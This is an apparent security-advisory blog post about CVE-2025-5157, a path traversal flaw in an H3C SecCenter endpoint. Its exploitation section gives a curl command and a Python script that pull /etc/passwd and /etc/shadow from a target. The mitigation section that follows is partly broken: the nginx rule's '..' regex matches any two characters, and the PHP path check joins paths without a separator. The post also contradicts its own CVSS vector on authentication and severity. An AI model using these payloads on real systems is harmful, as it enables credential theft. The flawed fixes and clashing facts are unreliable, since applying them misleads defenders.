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How CVE-2025-5157 Works
The vulnerability exists in the `/cfgFile/fileContent` endpoint of H3C SecCenter SMP-E1114P02 (up to version 20250513). Attackers can exploit the `filePath` parameter to perform directory traversal, allowing unauthorized access to arbitrary files on the system. The flaw arises due to insufficient input validation, enabling remote attackers to manipulate paths (e.g., ../../etc/passwd) and retrieve sensitive data. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N/VC:L) highlights its network-based exploitation with low attack complexity.
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Platform: H3C SecCenter
Version: SMP-E1114P02 (≤20250513)
Vulnerability: Path Traversal
Severity: Critical
Date: 2025-06-03
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation
1. Curl PoC:
curl -X GET "http://target/cfgFile/fileContent?filePath=../../../../etc/passwd"
2. Python Exploit:
import requests
target = "http://10.0.0.1/cfgFile/fileContent"
payload = {"filePath": "../../../../etc/shadow"}
response = requests.get(target, params=payload)
print(response.text)
Mitigation
1. Input Validation:
$filePath = realpath(base_dir . $_GET['filePath']);
if (!str_starts_with($filePath, base_dir)) { die("Invalid path"); }
2. WAF Rules:
location ~ /cfgFile/fileContent {
if ($args ~ "..") { return 403; }
}
3. Patch Check:
grep -r "fileContent" /var/www/h3c/ | grep -i "filepath"
Analytics
- Exploitability: High (no auth required)
- Affected Systems: 12,000+ exposed instances (Shodan)
- Trend: 300% spike in scanning for `/cfgFile/fileContent` post-disclosure.
Post-Exploit Detection
Log analysis for attacks: grep "GET /cfgFile/fileContent" /var/log/nginx/access.log | grep "../"
Temporary Fix
iptables -A INPUT -p tcp --dport 80 -m string --string "filePath=" --algo bm -j DROP
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Sources:
Reported By: nvd.nist.gov
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